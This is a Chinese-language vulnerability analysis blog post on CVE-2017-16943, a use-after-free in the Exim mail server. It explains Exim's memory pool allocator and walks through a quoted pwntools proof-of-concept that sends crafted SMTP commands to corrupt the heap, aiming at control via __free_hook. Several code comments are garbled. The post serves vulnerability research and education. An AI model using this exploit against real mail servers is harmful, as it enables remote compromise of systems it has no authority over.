Exim uaf漏洞分析—【CVE-2017-16943】

hackedbylh / 2017-12-19 09:31:00 / 浏览数 3610 技术文章 技术文章 顶(0) 踩(0)

前言

这是最近爆出来的 exim 的一个 uaf 漏洞，可以进行远程代码执行。本文对该漏洞和作者给出的 poc 进行分析。

正文

环境搭建

```
# ■github■■■■■
$ git clone https://github.com/Exim/exim.git
# ■4e6ae62■■■■■UAF■■■■■■■■■■■■■■178ecb■
$ git checkout ef9da2ee969c27824fcd5aed6a59ac4cd217587b
# ■■■■■■
$ apt install libdb-dev libpcre3-dev
# ■■meh■■■Makefile■■■■■Local■■■■■■■■■■■■■■
$ cd src
$ mkdir Local
$ cd Local
$ wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile
$ cd ..
# ■■Makefile■■■■134■■■■■■■■■■■■■■■■■■■■■■■■■■
$ make && make install
```

注：

如果要编译成 *debug* 模式，在 *Makefile* 找个位置 加上 *-g* 。（比如 *CFLAGS*, 或者 *gcc* 路径处）

安装完后 ,修改 /etc/exim/configure 文件的第 364 行，把 accept hosts = ：修改成 accept hosts = *

然后使用 /usr/exim/bin/exim -bdf -d+all 运行即可。

漏洞分析

首先谈谈 exim 自己实现的 ■■■ 机制.相关代码位于 store.c.
其中重要函数的作用

- store_get_3 : 分配内存
- store_extend_3: 扩展堆内存
- store_release_3: 释放堆内存

exim 使用 block pool 来管理内存。其中共有 3 个 pool,以枚举变量定义.

```
enum { POOL_MAIN, POOL_PERM, POOL_SEARCH };
```

程序则通过 store_pool 来决定使用哪个 pool 来分配内存。不同的 pool 相互独立。

有一些全局变量要注意。

```
//■■■■ block ■■■■■■
static storeblock *chainbase[3] = { NULL, NULL, NULL };

// ■■■■■■ pool■,■■■■■■■■■■ current_block ■■■
// ■■■■■■■■■ current_block ■■
static storeblock *current_block[3] = { NULL, NULL, NULL };

// current_block ■■■■■■■■■■■■■■■■■■■■
// pool ■■ current_block ■■■■
static void *next_yield[3] = { NULL, NULL, NULL };

// current_block ■■■■■■■■■■ ■■■■■■■■■
// pool ■■ current_block ■■■■
static int yield_length[3] = { -1, -1, -1 };

// ■■■■■■■■■ ■■■■■
//■■■■■■■■■pool ■■ current_block ■■■■
```

```
void *store_last_get[3] = { NULL, NULL, NULL };
```

block 的结构

每一个 pool 中的 block通过 next 指针链接起来

大概的结构图如下

block 的 next 和 length 域以下（偏移 0x10（64位）），用于内存分配（0x2000 字节）。

先来看看 store_get_3，该函数用于内存请求。
首次使用会先调用 store_malloc 使用 系统的 malloc 分配 0x2000 大小内存块，这也是 block 的默认大小，并将这个内存块作为 current_block 。

如果 block 中的剩余大小足够的话，通过调整 next_yield, yield_length, store_last_get直接切割内存块，然后返回 store_last_get 即可。

如果 block 中的内存不够，就用 store_malloc 另外分配一块，并将这个内存块作为 current_block，然后再进行切割。

然后是 store_extend_3 函数
首先会进行校验，要求 store_last_get 和 next_yield 要连续，也就是待合并的块与 next_yield 要紧挨着，类似于

而且剩余内存大小也要能满足需要

如果条件满足直接修改全局变量，切割内存块即可.

store_release_3 函数
找到目标地址所在 block ，然后调用 free 释放掉即可

下面正式进入漏洞分析
漏洞位于 receive.c 的 receive_msg 函数。

漏洞代码

这个函数用于处理客户端提交的 exim 命令， ptr 表示当前以及接收的命令的字符数， header_size 为一个 阈值，初始为 0x100，当 ptr > header_size-4 时， header_size翻倍，然后扩展内存，以存储更多的字符串。

如果 next->text 与 next_yield 之间有另外的内存分配，或者 next->text 所在块没有足够的空间用来扩展，就会使用 store_get 获取内存，如果空间不够，就会调用 malloc 分配内存，然后复制内容到新分配的内存区域，最后释放掉原来的内存区域。

一切都看起来很平常，下面看看漏洞的原理。

store_get 分配到的是 block中的一小块内存（store），然而 store_release_3 则会释放掉 一整个 block 的内存。
如果我们在进入该流程时，把 block 布局成类似这样.

因为 next->text 和 空闲块之间 有内存的分配，所以 store_extend_3 就会失败，进入 store_get 分配内存.

如果 free memory 区域内存能够满足需要， 那么就会从 free memory 区域 切割内存返回，然后会拷贝内容，最后 store_release(next->text), 此时会把 整个 block 释放掉，这样一来 next->text ,current_block 都指向了一块已经释放掉的内存，如果以后有使用到这块内存的话, 就是 UAF 了。

大概流程如下

接下来，分析一下 poc.

```
# CVE-2017-16943 PoC by meh at DEVCORE
# pip install pwntools
from pwn import *

context.log_level = 'debug'

r = remote('localhost', 25)

r.recvline()
r.sendline("EHLO test")
r.recvuntil("250 HELP")
r.sendline("MAIL FROM:<>")
r.recvline()
r.sendline("RCPT TO:<meh@some.domain>")
r.recvline()


pause()

r.sendline('a'*0x1280+'\x7f')
```

```
log.info("new heap on top chunk....")
pause()


r.recvuntil('command')
r.sendline('DATA')
r.recvuntil('itself\r\n')
r.sendline('b'*0x4000+':\r\n')
log.info("use DATA to create unsorted bin, next want to let next->txt ----> block_base")
pause()


r.sendline('.\r\n')
r.sendline('.\r\n')
r.recvline()
r.sendline("MAIL FROM:<>")
r.recvline()
r.sendline("RCPT TO:<meh@some.domain>")
r.recvline()
r.sendline('a'*0x3480+'\x7f')

log.info("new heap on top chunk....  again")
pause()


r.recvuntil('command')
r.sendline('BDAT 1')
r.sendline(':BDAT \x7f')

log.info("make hole")
pause()


s = 'a'*0x1c1e + p64(0x41414141)*(0x1e00/8)

r.send(s+ ':\r\n')
r.send('\n')
r.interactive()
```

漏洞利用的原理在于，block 结构体的 next 和 length域恰好位于 malloc chunk 的 fd 和 bk 指针区域，如果我们能在触发漏洞时把 这个 chunk 放到 unsorted bin 中，block 结构体的 next 和 length就会变成 main_arena 中的地址，然后再次触发 store_get ，就会从 main_arena 中切割内存块返回给我们，我们就能修改 main_arena 中的数据了。可以改掉 __free_hook 来控制 eip.

继续往下之前，还有一个点需要说一下。

当 exim 获得客户端连接后，首先调用 smtp_setup_msg 获取命令，如果获取到的是 无法识别 的命令，就会调用 string_printing 函数。

这个函数内部会调用 store_get 保存字符串.

所以我们可以通过这个 tips 控制一定的内存分配。

下面通过调试，看看 poc 的流程。

首先通过发送 无法识别的命令，分配一块大内存，与 top chunk 相邻

```
r.sendline('a'*0x1280+'\x7f')
```

可以看到此时 current_block 中剩下的长度为 0x11b0，而请求的长度 0x1285，所以会通过 malloc 从系统分配内存，然后在切割返回。执行完后看看堆的状态

可以看到，现在的 current_block 的指针就是上一步的 top chunk 的地址，而且现在 current_block 和 top chunk 是相邻的。通过计算可以知道共分配了 0x1288 字节（内存对齐）

然后通过

```
r.sendline('b'*0x4000+':\r\n')
```

构造非常大的 unsorted bin, 原因在于，他这个是先 ■■ 再 free 的，由于 0x4000 远大于 header_size 的初始值（0x100），这样就会触发多次的 store_get, 而且 0x4000 也大于 block 的默认大小（0x2000），所以也会触发多次的 malloc ， 在 malloc 以后，会调用 store_release 释放掉之前的块，然后由于这个释放的块和 top chunk 之间有正在使用的块(刚刚调用store_get分配的），所以不会与top chunk 合并，而会把 它放到 unsorted bin 中 ，这样多次以后就会构造一个比较大的 unsorted bin.

第一次调用 store_get，进行扩展，可以看到 请求 0x1000, 但是剩余的只有 0x548, 所以会调用 malloc 分配。

单步步过，查看堆的状态，发现和预期一致

store_release(next->text) 之后就有 unsorted bin.

多次以后，就会有一个非常大的 unsorted bin

接下来使用

```
r.sendline('a'*0x3480+'\x7f')
```

再次分配一块大内存内存，使得 yield_length < 0x100， 分配完后 yield_length 变成了 0xa0。

下面使用

然后会进入 receive_msg

首先会分配一些东西。上一步 yield_length 变成了 0xa0， 前面两个都比较小， current_block 可以满足需求。后面的next->text = store_get(header_size), header_size最开始 为 0x100, 所以此时会重新分配一个 block，并且 next->text 会位于 block 的开始。

符合预期。

```
r.sendline(':BDAT \x7f')
```

触发 string_printing,分配一小块内存。此时的 current_block

之后触发漏洞。

当触发 漏洞代码时， store_extend 会出错，因为 next->text 和空闲内存之间有在使用的内存。于是会触发 store_get(header_size) ,因为此时空闲块的空间比较大（0x1ee0），所以会直接切割内存返回，然后 store_release 会释放这块内存。

可以看到current_block 被 free 并且被放到了 unsorted bin, 此时 current_block 的 next 和 length 变成了 main_arena 的地址（可以看看之前block的结构图）

当再次触发 store_get, 会遍历 block->next, 拿到 main_arena, 然后切割内存分配给我们

之后的 memcpy我们就可以修改main_arena的数据了。

getshell 请看参考链接。（因为我没成功~_~）,如有成功，望大佬告知。

参考

https://devco.re/blog/2017/12/11/Exim-RCE-advisory-CVE-2017-16943-en/

https://paper.seebug.org/469/

https://paper.seebug.org/479/

https://bugs.exim.org/show_bug.cgi?id=2199

目录